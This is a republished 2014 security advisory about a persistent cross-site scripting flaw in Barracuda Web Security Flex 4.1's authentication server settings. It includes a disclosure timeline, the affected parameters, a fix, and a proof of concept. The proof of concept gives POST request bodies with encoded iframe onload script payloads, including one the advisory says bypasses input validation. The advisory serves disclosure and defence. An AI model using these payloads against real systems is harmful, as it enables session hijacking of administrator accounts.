Barracuda Networks Web Security Flex 4.1 XSS

2014-08-25T00:00:00
ID PACKETSTORM:127998
Type packetstorm
Reporter Benjamin Kunz Mejri
Modified 2014-08-25T00:00:00

Description

                                        
                                            `Document Title:  
===============  
Barracuda Networks Web Security Flex v4.1 - Persistent Vulnerabilities (BNSEC-699)  
  
  
References (Source):  
====================  
http://www.vulnerability-lab.com/get_content.php?id=750  
  
BARRACUDA NETWORK SECURITY ID: BNSEC-699  
  
  
Release Date:  
=============  
2014-08-22  
  
  
Vulnerability Laboratory ID (VL-ID):  
====================================  
750  
  
  
Common Vulnerability Scoring System:  
====================================  
4  
  
  
Product & Service Introduction:  
===============================  
The Barracuda Web Security Service is a cloud-based web filtering service ideal for organizations with users in   
multiple locations. With no hardware to install, this powerful SaaS web filter quickly and affordably lets administrators   
safeguard users against aggressive malware while centrally managing user access to web content, applications, media,   
file types and more. It even extends content security and management to off-network mobile devices – perfect for schools   
that issue iPads to students, or any organization that relies on mobility.  
  
As an enterprise-grade solution for web security, Barracuda Web Security Service saves administrators time otherwise spent   
disinfecting computers and dealing with data breaches. Barracuda Web Security Service’s intuitive web UI gives clear   
visibility into web activity which speeds network troubleshooting and policy management. Interactive graphs let administrators   
drill down from high-level overviews of the organization’s web activity to fine-grained information about users, websites,   
applications, files, bandwidth and other factors effecting performance and user productivity. Reporting is just as convenient   
and granular with no database administration required. Built on a massively scalable worldwide multi-tenant architecture that   
provides advanced web filtering to customers in fifty countries, Barracuda Web Security Service delivers the fastest, most   
reliable web filtering in the industry.  
  
(Copy of the Vendor Homepage: https://www.barracudanetworks.com/products/websecurityflex )  
  
  
Abstract Advisory Information:  
==============================  
The Vulnerability Laboratory Research Team discovered a web vulnerability in the official Barracuda Networks Web Security Flex v4.1 Application Service.  
  
  
Vulnerability Disclosure Timeline:  
==================================  
2013-11-09: Researcher Notification & Coordination (Benjamin Kunz Mejri)  
2013-11-10: Vendor Notification (Barracuda Networks - Bug Bounty Team)  
2013-11-13: Vendor Response/Feedback (Barracuda Networks - Bug Bounty Team)  
2014-08-10: Vendor Fix/Patch Notification (Barracuda Networks - Developer Team)  
2014-08-20: Public Disclosure (Vulnerability Laboratory)  
  
  
Discovery Status:  
=================  
Published  
  
  
Affected Product(s):  
====================  
Barracuda Networks  
Product: Web Security Flex 4.1  
  
  
Exploitation Technique:  
=======================  
Remote  
  
  
Severity Level:  
===============  
Medium  
  
  
Technical Details & Description:  
================================  
A persistent input validation vulnerability has been discovered in the official Barracuda Networks Security Flex v4.1 Application Web-Application.  
The bug allows remote attackers to inject own malicious script codes in the vulnerable module on the application-side of the appliance service.   
  
The persistent vulnerability is located in the vulnerable Domain Alias, LDAP Host and Bind DN/Username values of the `Remote Filtering > Authentication   
> Add Authentication Server` module. Low privileged user accounts are able to inject via POST method request own malicious script codes to compromise   
the appliance web-application service. The attack vector is located on the application-side and the request method to inject malicious conext is POST.  
  
The security risk of the persistent vulnerabilities are estimated as medium with a cvss (common vulnerability scoring system) count of 4.0.  
Exploitation of the security issue requires low user inter action (view listing) & a registered low privileged web application user account.  
Successful exploitation of the security vulnerability results in session hijacking (manager/admin) or stable (persistent) context manipulation.  
  
Request Method(s):  
[+] POST  
  
Vulnerable Service(s):  
[+] Web Security Flex  
  
Vulnerable Module(s):  
[+] Remote Filtering > Authentication > Add Authentication Server > TEST SETTINGS or SAVE + Listing!  
  
Vulnerable Parameter(s):  
[+] Domain Alias  
[+] LDAP Host  
[+] Bind DN/Username  
  
  
Proof of Concept (PoC):  
=======================  
The persistent web vulnerability in the exception-handling can be exploited by remote attackers with low privileged user account and low required user inter action.   
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.  
  
Review: Domain Alias, LDAP Host and Bind DN/Username  
  
<div class="form-result form-result-error" id="flex-global-form-result"   
style="display: block;">Unable to connect to​​​​​ ">​​​​​<iframe src="a">%20%20%20%20"><[PERSISTENT SCRIPT CODE INJECTION!]") <:389</iframe></div>  
  
POST REQUEST (BLOCKED): Exception-Handling  
enabled=1  
domain_name=%22%3E%3Ciframe+src%3Da+onload%3Dalert(%22VL%22)+%3C  
ip_address=%22%3E%3Ciframe+src%3Da+onload%3Dalert(%22VL%22)+%3C  
port=389  
encryption=0  
bind_dn=hello23  
bind_password=hello24  
base_dn=iamsuperhack23  
uid_attribute=sAMAccountName+check24  
uid_value=bumbum  
test2=1=  
is_ajax=1  
ajax_response_format=json  
  
  
POST REQUEST (BYPASS VALIDATION): Exception-Handling  
enabled=1  
domain_name=%22%3E%3Ciframe+src%3Da%3E++++%22%3E%3Ciframe+src%3Da+onload%3Dalert(%22VL%22)+%3C  
ip_address=%22%3E%3Ciframe+src%3Da%3E++++%22%3E%3Ciframe+src%3Da+onload%3Dalert(%22VL%22)+%3C  
port=389  
encryption=0  
bind_dn=hello23  
bind_password=hello24  
base_dn=iamsuperhack23  
uid_attribute=sAMAccountName+check24  
uid_value=bumbum  
test2=1  
=  
is_ajax=1  
ajax_response_format=json  
  
  
PoC: String (Bypass %20)  
">Unable to connect to​​​​​ ">​​​​​<iframe src="a">%20%20%20%20"><iframe src=vuln-lab.com onload=alert("VL") <  
  
Reference(s):  
https://webfilteringportaldemo.barracudanetworks.com/r/cloudauth/add  
  
  
Solution - Fix & Patch:  
=======================  
The vulnerability can be patched by a secure parse and encode of all invalid context exception-handling messages values.   
Disallow to redisplay the insecure input and filter wrong exception to prevent execution of persistent codes in the context of the security appliance application.  
  
  
Security Risk:  
==============  
The security risk of the persistent exception-handling validation web vulnerability is estimated as medium.  
  
  
Credits & Authors:  
==================  
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com]  
  
  
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=========================  
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